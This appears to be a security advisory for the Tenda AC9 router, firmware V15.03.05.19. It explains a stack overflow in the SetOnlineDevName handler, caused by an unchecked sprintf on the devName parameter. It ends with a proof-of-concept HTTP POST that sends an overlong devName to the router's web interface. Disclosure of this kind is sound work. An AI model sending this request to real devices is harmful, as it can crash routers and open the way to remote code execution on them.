Affected Version

Vendor Tenda
Product Tenda ac9 router
Hardware Version V1.0
Firmware Version V15.03.05.19

Firmware Download Link

https://www.tenda.com.cn/material/show/102682

Vulnerability Description

In the Tenda ac9 v1.0 router with the firmware version of V15.03.05.19, there is a stack overflow vulnerability in the route /goform/SetOnlineDevName, which may lead to remote arbitrary code execution.

Vulnerability Detail

In the backend processing function formSetDeviceName of route /goform/SetOnlineDevName, the HTTP POST request parameters "mac" and "devName" are obtained through the function sub_2B9D4, and then these two parameters are passed into the function sub_C5240.

image.png

In the function sub_C5240, it first judges whether the passed-in parameters are empty or not, and then it will enter the else branch to call the sprintf function. The devName will be saved into the stack space variable through the formatted string. Since sprintf does not perform length verification and limitation on the generated string, attackers can construct an overly long devName parameter, causing stack overflow and possibly resulting in remote code execution.

image.png

PoC

POST /goform/SetOnlineDevName HTTP/1.1
Host: 192.168.0.1
Content-Length: 1294
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/wifi_wps.html?random=0.3137700611118295&>
Accept-Encoding: gzip, deflate, br
Cookie: password=5f4dcc3b5aa765d61d8327deb882cf99luztgb
Connection: keep-alive

mac=0&devName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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